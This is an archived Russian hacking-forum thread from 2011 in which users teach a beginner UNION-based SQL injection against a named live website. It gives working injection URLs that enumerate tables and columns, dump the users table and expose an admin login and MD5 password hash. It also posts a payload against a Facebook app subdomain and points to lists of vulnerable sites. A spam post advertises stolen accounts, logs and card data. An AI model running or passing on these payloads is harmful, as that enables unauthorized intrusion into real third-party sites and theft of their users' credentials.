Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

[Вопрос] SQL-инъекция: Как узнать имена таблиц?

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Уязвимости] >> [Вопрос] SQL-инъекция: Как узнать имена таблиц?
Имя
Сообщение << Старые топики   Новые топики >>
[Вопрос] SQL-инъекция: Как узнать имена таблиц? - 2011-07-19 10:19:58.993333   
Vasek69

Сообщений: 154
Оценки: 0
Присоединился: 2011-02-12 05:33:39.426666
Есть SQL-инъекция по адресу: http://www.position1.ru/index-1.php?id=46. Узнаю database() - http://www.position1.ru/index-1.php?id=-46+union+select+database(),2,3,4,5. Выводит "b60673". Но вот вопрос: Никак не могу понять, как узнать имена таблиц? (я имею ввиду таблицы юзеров и т.п.)
Версия MySQL - 5.0.90.
Я тока учусь, а в Google'е насчет моего вопроса мнения расходятся во всех статьях. Где-то пишут, что тупым подбором типа: *.php?id=-5+union+select+1,2,3,4,5+from+user–? а где-то ещё как-то…
Post #: 1
RE: [Вопрос] SQL-инъекция: Как узнать имена таблиц? - 2011-07-19 10:27:24.570000   
ZiMMy

Сообщений: 439
Оценки: 0
Присоединился: 2010-06-19 17:04:39.420000
http://www.position1.ru/index-1.php?id=-46+union+select+group_concat(table_name),2,3,4,5+from+information_schema.tables–
Post #: 2
RE: [Вопрос] SQL-инъекция: Как узнать имена таблиц? - 2011-07-19 10:45:05.180000   
Vasek69

Сообщений: 154
Оценки: 0
Присоединился: 2011-02-12 05:33:39.426666
quote:

http://www.position1.ru/index-1.php?id=-46+union+select+group_concat(table_name),2,3,4,5+from+information_schema.tables–

спс. но вот возьмем таблицу USERS. как узнать её содержимое?
Post #: 3
RE: [Вопрос] SQL-инъекция: Как узнать имена таблиц? - 2011-07-19 10:52:12.850000   
Vasek69

Сообщений: 154
Оценки: 0
Присоединился: 2011-02-12 05:33:39.426666
ещё вопрос: откуда ты взял это:
http://www.position1.ru/index-1.php?id=-46+union+select+group_concat(table_name),2,3,4,5+from+information_schema.tables–? т.е. group_concat(table_name)
Post #: 4
RE: [Вопрос] SQL-инъекция: Как узнать имена таблиц? - 2011-07-19 11:25:12.080000   
ZiMMy

Сообщений: 439
Оценки: 0
Присоединился: 2010-06-19 17:04:39.420000

quote:

ORIGINAL: Vasek69

ещё вопрос: откуда ты взял это:
http://www.position1.ru/index-1.php?id=-46+union+select+group_concat(table_name),2,3,4,5+from+information_schema.tables–? т.е. group_concat(table_name)

table_name это имя таблицы, оно хранится в information_schema
group_concat выводит через запятую все выбранные элементы (от limit 0,1 до limit n,1), но не более, вроде бы, тысячи символов.
А вообще, прочитай больше мануалов, и большинство подобных вопросов отпадут.
Post #: 5
RE: [Вопрос] SQL-инъекция: Как узнать имена таблиц? - 2011-07-19 12:54:06.070000   
r1dex

Сообщений: 304
Оценки: 0
Присоединился: 2008-12-09 01:55:32.130000
quote:

Никак не могу понять, как узнать имена таблиц? (я имею ввиду таблицы юзеров и т.п.)
Версия MySQL - 5.0.90.


В 5-ой ветке, как уже сказал ZiMMy, есть такая замечательная вещь как information_schema.tables, где и хранится инфа о табличках.

т.е. запрос

http://www.position1.ru/index-1.php?id=-46+union+select+table_name,2,3,4,5+from+information_schema.tables+limit+17,1–

вернет нам 18-ую табличку "categories"

http://www.position1.ru/index-1.php?id=-46+union+select+table_name,2,3,4,5+from+information_schema.tables+limit+18,1–

19-ую "contents"

Ну и т.д.

PS: первые 17 в данном случае - стандартные, в которых нет ничего интересного.

quote:

Я тока учусь, а в Google'е насчет моего вопроса мнения расходятся во всех статьях. Где-то пишут, что тупым подбором типа: *.php?id=-5+union+select+1,2,3,4,5+from+user–? а где-то ещё как-то…


Так работают с 4-ой веткой.

quote:

спс. но вот возьмем таблицу USERS. как узнать её содержимое?


Берем таблицу USERS, узнаем колонки в ней:

http://www.position1.ru/index-1.php?id=-46+union+select+column_name,2,3,4,5+from+information_schema.columns+where+table_name=0x5553455253+limit+0,1–

http://www.position1.ru/index-1.php?id=-46+union+select+column_name,2,3,4,5+from+information_schema.columns+where+table_name=0x5553455253+limit+1,1–

И т.д., где 0x5553455253 - таблица USERS переведенная в hex.

И составляем запрос

http://www.position1.ru/index-1.php?id=-46+union+select+колонка с таблицы USERS,2,3,4,5+from+users+limit+0,1–

или

http://www.position1.ru/index-1.php?id=-46+union+select+concat(колонка,0x3a,колонка,0x3a,колонка),2,3,4,5+from+users+limit+0,1–

PS: Что такое concat() - http://mysql.ru/docs/man/String_functions.HТМL

quote:

group_concat выводит через запятую все выбранные элементы (от limit 0,1 до limit n,1), но не более, вроде бы, тысячи символов.


Всё верно, 1024 символа. Хотя и это не помеха ;)
Post #: 6
RE: [Вопрос] SQL-инъекция: Как узнать имена таблиц? - 2011-07-19 17:49:46.530000   
Vasek69

Сообщений: 154
Оценки: 0
Присоединился: 2011-02-12 05:33:39.426666
r1dex, спасибо огромное! Но вот я увидел пароль: cdf38d4724e6c9e539d432fd765ea9cc. Я так понимаю - это MD5? Раскодировал я его на сайте http://md5x.ru, и он выдал мне вот такой пассворд: 1824357dbdb52a2af8aa079cbb39f42a. ИМХО, слишком уж мудреный.
Пока что попробую на другом сайте. гыы
Post #: 7
RE: [Вопрос] SQL-инъекция: Как узнать имена таблиц? - 2011-07-19 17:54:07.553333   
Vasek69

Сообщений: 154
Оценки: 0
Присоединился: 2011-02-12 05:33:39.426666
кстати, тока что нашел на АНТИЧАТЕ вот такую инъекцию: http://apps.facebook.com/mypersonality/view_reviews.php?rating=1&test_id=10+and(1=0)union(select(1),version(),3,4,5,6,7,8,9,10,11,12,13)–
так-то чё-то я не врубился - это реально facebook?
Post #: 8
RE: [Вопрос] SQL-инъекция: Как узнать имена таблиц? - 2011-07-19 18:37:04.680000   
r1dex

Сообщений: 304
Оценки: 0
Присоединился: 2008-12-09 01:55:32.130000
Ну да, только это субдомен фейсбука.

http://apps.facebook.com/mypersonality/view_reviews.php?rating=1&test_id=10+and(1=0)union(select(1),group_concat(field+separator+0x3c62723e),3,4,5,6,7,8,9,10,11,12,13+from+(select+concat(table_name,0x3a,table_rows)+as+field+from+information_schema.tables+limit+50,100)as+t)–

Ничего интересного =)
Post #: 9
RE: [Вопрос] SQL-инъекция: Как узнать имена таблиц? - 2011-07-20 08:44:46.710000   
Vasek69

Сообщений: 154
Оценки: 0
Присоединился: 2011-02-12 05:33:39.426666
Чтобы узнать все таблицы, мы используем вот это:
http://www.position1.ru/index-1.php?id=-46+union+select+group_concat(table_name),2,3,4,5+from+information_schema.tables-- А как сделать, чтобы все колонки таблицы USERS были видны на одной странице?
Post #: 10
RE: [Вопрос] SQL-инъекция: Как узнать имена таблиц? - 2011-07-20 11:18:25.693333   
r1dex

Сообщений: 304
Оценки: 0
Присоединился: 2008-12-09 01:55:32.130000
quote:

Чтобы узнать все таблицы, мы используем вот это:


Не все таблицы, а первые 1024 символа, если бы там было бы больше таблиц, то ты бы их не увидел.

Можно убрать стандартные, чтоб не мешались.

http://www.position1.ru/index-1.php
?id=-46+union+select+group_concat(table_name,0x3a,table_rows),2,3,4,5+from+information_schema.tables–

Видим только нестандартные таблицы+кол-во записей в них:

categories:0,contents:27,gallery:10,info:1,menu:6,menu_items:37,users:1

ну можно ещё для вида, так:

http://www.position1.ru/index-1.php
?id=-46+union+select+group_concat(concat(table_name,0x3a,table_rows)separator+0x3c62723e),2,3,4,5+from+information_schema.tables–

С колонками аналогично..

http://www.position1.ru/index-1.php?id=-46+union+select+group_concat(column_name),2,3,4,5+from+information_schema.columns+where+table_name=0x5553455253+limit+0,1–
Post #: 11
RE: [Вопрос] SQL-инъекция: Как узнать имена таблиц? - 2011-07-22 14:26:07.370000   
sergey.hudin

Сообщений: 42
Оценки: 0
Присоединился: 2011-06-24 12:41:26.123333
вот результат
admin cdf38d4724e6c9e539d432fd765ea9cc
Post #: 12
RE: [Вопрос] SQL-инъекция: Как узнать имена таблиц? - 2011-07-23 04:56:14.690000   
r1dex

Сообщений: 304
Оценки: 0
Присоединился: 2008-12-09 01:55:32.130000
Спасибо, кэп, чтобы мы без тебя делали…
Post #: 13
RE: [Вопрос] SQL-инъекция: Как узнать имена таблиц? - 2011-07-23 21:40:15.556666   
wekly

Сообщений: 505
Оценки: 0
Присоединился: 2011-07-08 14:35:05.483333
Это точно) Подкиньте уязвимостей, а то искать лень:)
Post #: 14
RE: [Вопрос] SQL-инъекция: Как узнать имена таблиц? - 2011-07-24 18:29:49.390000   
Vasek69

Сообщений: 154
Оценки: 0
Присоединился: 2011-02-12 05:33:39.426666
на античате есть тема: там 2000 страниц уязвимостей. вот она: http://forum.antichat.ru/thread21336.html
Post #: 15
RE: [Вопрос] SQL-инъекция: Как узнать имена таблиц? - 2011-07-24 21:56:15.396666   
kuceva

Сообщений: 310
Оценки: 0
Присоединился: 2010-03-16 20:50:37.750000
Отличный сайт с раздачами Асек,яда,логов,картона http://goo.gl/Jt4sf
Post #: 16
Страниц:  [1]
Все форумы >> [Уязвимости] >> [Вопрос] SQL-инъекция: Как узнать имена таблиц?







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.